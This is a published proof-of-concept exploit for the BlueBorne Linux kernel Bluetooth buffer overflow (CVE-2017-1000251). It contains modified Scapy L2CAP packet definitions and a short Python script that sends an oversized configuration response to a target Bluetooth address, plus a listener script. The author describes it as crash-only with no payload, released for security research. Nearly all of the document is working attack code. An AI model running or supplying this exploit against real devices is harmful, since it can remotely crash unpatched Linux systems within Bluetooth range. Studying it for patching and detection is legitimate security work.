Linux Kernel < 4.13.1 - BlueTooth Buffer Overflow (PoC)
# Exploit Title: BlueBorne - Proof of Concept - Unarmed/Unweaponized - DoS (Crash) only # Date: 09/21/2017 # Exploit Author: Marcin Kozlowski <marcinguy@gmail.com> # Version: Kernel version v3.3-rc1, and thus affects all version from there on # Tested on: Linux 4.4.0-93-generic #116 # CVE : CVE-2017-1000251 # Provided for legal security research and testing purposes ONLY. Proof of Concept - Crash Only - Unarmed/Unweaponized/No Payload After reading tons of Documentation and Protocol specifications. 1) Install Scapy https://github.com/secdev/scapy Add/Replace these requests and responses in Bluetooth Protocol stack to these: scapy/layers/bluetooth.py class L2CAP_ConfReq(Packet): name = "L2CAP Conf Req" fields_desc = [ LEShortField("dcid",0), LEShortField("flags",0), ByteField("type",0), ByteField("length",0), ByteField("identifier",0), ByteField("servicetype",0), LEShortField("sdusize",0), LEIntField("sduarrtime",0), LEIntField("accesslat",0), LEIntField("flushtime",0), ] class L2CAP_ConfResp(Packet): name = "L2CAP Conf Resp" fields_desc = [ LEShortField("scid",0), LEShortField("flags",0), LEShortField("result",0), ByteField("type0",0), ByteField("length0",0), LEShortField("option0",0), ByteField("type1",0), ByteField("length1",0), LEShortField("option1",0), ByteField("type2",0), ByteField("length2",0), LEShortField("option2",0), ByteField("type3",0), ByteField("length3",0), LEShortField("option3",0), ByteField("type4",0), ByteField("length4",0), LEShortField("option4",0), ByteField("type5",0), ByteField("length5",0), LEShortField("option5",0), ByteField("type6",0), ByteField("length6",0), LEShortField("option6",0), ByteField("type7",0), ByteField("length7",0), LEShortField("option7",0), ByteField("type8",0), ByteField("length8",0), LEShortField("option8",0), ByteField("type9",0), ByteField("length9",0), LEShortField("option9",0), ByteField("type10",0), ByteField("length10",0), LEShortField("option10",0), ByteField("type11",0), ByteField("length11",0), LEShortField("option11",0), ByteField("type12",0), ByteField("length12",0), LEShortField("option12",0), ByteField("type13",0), ByteField("length13",0), LEShortField("option13",0), ByteField("type14",0), ByteField("length14",0), LEShortField("option14",0), ByteField("type15",0), ByteField("length15",0), LEShortField("option15",0), ByteField("type16",0), ByteField("length16",0), LEShortField("option16",0), ByteField("type17",0), ByteField("length17",0), LEShortField("option17",0), ByteField("type18",0), ByteField("length18",0), LEShortField("option18",0), ByteField("type19",0), ByteField("length19",0), LEShortField("option19",0), ByteField("type20",0), ByteField("length20",0), LEShortField("option20",0), ByteField("type21",0), ByteField("length21",0), LEShortField("option21",0), ByteField("type22",0), ByteField("length22",0), LEShortField("option22",0), ByteField("type23",0), ByteField("length23",0), LEShortField("option23",0), ByteField("type24",0), ByteField("length24",0), LEShortField("option24",0), ByteField("type25",0), ByteField("length25",0), LEShortField("option25",0), ByteField("type26",0), ByteField("length26",0), LEShortField("option26",0), ByteField("type27",0), ByteField("length27",0), LEShortField("option27",0), ByteField("type28",0), ByteField("length28",0), LEShortField("option28",0), ByteField("type29",0), ByteField("length29",0), LEShortField("option29",0), ByteField("type30",0), ByteField("length30",0), LEShortField("option30",0), ByteField("type31",0), ByteField("length31",0), LEShortField("option31",0), ByteField("type32",0), ByteField("length32",0), LEShortField("option32",0), ByteField("type33",0), ByteField("length33",0), LEShortField("option33",0), ByteField("type34",0), ByteField("length34",0), LEShortField("option34",0), ByteField("type35",0), ByteField("length35",0), LEShortField("option35",0), ByteField("type36",0), ByteField("length36",0), LEShortField("option36",0), ByteField("type37",0), ByteField("length37",0), LEShortField("option37",0), ByteField("type38",0), ByteField("length38",0), LEShortField("option38",0), ByteField("type39",0), ByteField("length39",0), LEShortField("option39",0), ByteField("type40",0), ByteField("length40",0), LEShortField("option40",0), ByteField("type41",0), ByteField("length41",0), LEShortField("option41",0), ByteField("type42",0), ByteField("length42",0), LEShortField("option42",0), ByteField("type43",0), ByteField("length43",0), LEShortField("option43",0), ByteField("type44",0), ByteField("length44",0), LEShortField("option44",0), ByteField("type45",0), ByteField("length45",0), LEShortField("option45",0), ByteField("type46",0), ByteField("length46",0), LEShortField("option46",0), ByteField("type47",0), ByteField("length47",0), LEShortField("option47",0), ByteField("type48",0), ByteField("length48",0), LEShortField("option48",0), ByteField("type49",0), ByteField("length49",0), LEShortField("option49",0), ByteField("type50",0), ByteField("length50",0), LEShortField("option50",0), ByteField("type51",0), ByteField("length51",0), LEShortField("option51",0), ByteField("type52",0), ByteField("length52",0), LEShortField("option52",0), ByteField("type53",0), ByteField("length53",0), LEShortField("option53",0), ByteField("type54",0), ByteField("length54",0), LEShortField("option54",0), ByteField("type55",0), ByteField("length55",0), LEShortField("option55",0), ByteField("type56",0), ByteField("length56",0), LEShortField("option56",0), ByteField("type57",0), ByteField("length57",0), LEShortField("option57",0), ByteField("type58",0), ByteField("length58",0), LEShortField("option58",0), ByteField("type59",0), ByteField("length59",0), LEShortField("option59",0), ByteField("type60",0), ByteField("length60",0), LEShortField("option60",0), ByteField("type61",0), ByteField("length61",0), LEShortField("option61",0), ByteField("type62",0), ByteField("length62",0), LEShortField("option62",0), ByteField("type63",0), ByteField("length63",0), LEShortField("option63",0), ByteField("type64",0), ByteField("length64",0), LEShortField("option64",0), ByteField("type65",0), ByteField("length65",0), LEShortField("option65",0), ByteField("type66",0), ByteField("length66",0), LEShortField("option66",0), ByteField("type67",0), ByteField("length67",0), LEShortField("option67",0), ByteField("type68",0), ByteField("length68",0), LEShortField("option68",0), ByteField("type69",0), ByteField("length69",0), LEShortField("option69",0), ] 2) Exploit bluebornexploit.py ------------------------ from scapy.all import * pkt = L2CAP_CmdHdr(code=4)/ L2CAP_ConfReq(type=0x06,length=16,identifier=1,servicetype=0x0,sdusize=0xffff,sduarrtime=0xffffffff,accesslat=0xffffffff,flushtime=0xffffffff) pkt1 = L2CAP_CmdHdr(code=5)/ L2CAP_ConfResp(result=0x04,type0=1,length0=2,option0=2000,type1=1,length1=2,option1=2000,type2=1,length2=2,option2=2000,type3=1,length3=2,option3=2000,type4=1,length4=2,option4=2000,type5=1,length5=2,option5=2000,type6=1,length6=2,option6=2000,type7=1,length7=2,option7=2000,type8=1,length8=2,option8=2000,type9=1,length9=2,option9=2000,type10=1,length10=2,option10=2000,type11=1,length11=2,option11=2000,type12=1,length12=2,option12=2000,type13=1,length13=2,option13=2000,type14=1,length14=2,option14=2000,type15=1,length15=2,option15=2000,type16=1,length16=2,option16=2000,type17=1,length17=2,option17=2000,type18=1,length18=2,option18=2000,type19=1,length19=2,option19=2000,type20=1,length20=2,option20=2000,type21=1,length21=2,option21=2000,type22=1,length22=2,option22=2000,type23=1,length23=2,option23=2000,type24=1,length24=2,option24=2000,type25=1,length25=2,option25=2000,type26=1,length26=2,option26=2000,type27=1,length27=2,option27=2000,type28=1,length28=2,option28=2000,type29=1,length29=2,option29=2000,type30=1,length30=2,option30=2000,type31=1,length31=2,option31=2000,type32=1,length32=2,option32=2000,type33=1,length33=2,option33=2000,type34=1,length34=2,option34=2000,type35=1,length35=2,option35=2000,type36=1,length36=2,option36=2000,type37=1,length37=2,option37=2000,type38=1,length38=2,option38=2000,type39=1,length39=2,option39=2000,type40=1,length40=2,option40=2000,type41=1,length41=2,option41=2000,type42=1,length42=2,option42=2000,type43=1,length43=2,option43=2000,type44=1,length44=2,option44=2000,type45=1,length45=2,option45=2000,type46=1,length46=2,option46=2000,type47=1,length47=2,option47=2000,type48=1,length48=2,option48=2000,type49=1,length49=2,option49=2000,type50=1,length50=2,option50=2000,type51=1,length51=2,option51=2000,type52=1,length52=2,option52=2000,type53=1,length53=2,option53=2000,type54=1,length54=2,option54=2000,type55=1,length55=2,option55=2000,type56=1,length56=2,option56=2000,type57=1,length57=2,option57=2000,type58=1,length58=2,option58=2000,type59=1,length59=2,option59=2000,type60=1,length60=2,option60=2000,type61=1,length61=2,option61=2000,type62=1,length62=2,option62=2000,type63=1,length63=2,option63=2000,type64=1,length64=2,option64=2000,type65=1,length65=2,option65=2000,type66=1,length66=2,option66=2000,type67=1,length67=2,option67=2000,type68=1,length68=2,option68=2000,type69=1,length69=2,option69=2000) bt = BluetoothL2CAPSocket("00:1A:7D:DA:71:13") bt.send(pkt) bt.send(pkt1) bluetoothsrv.py -------------------- from scapy.all import * bt = BluetoothL2CAPSocket("01:02:03:04:05:06") bt.recv() DEMO: https://imgur.com/a/zcvLb |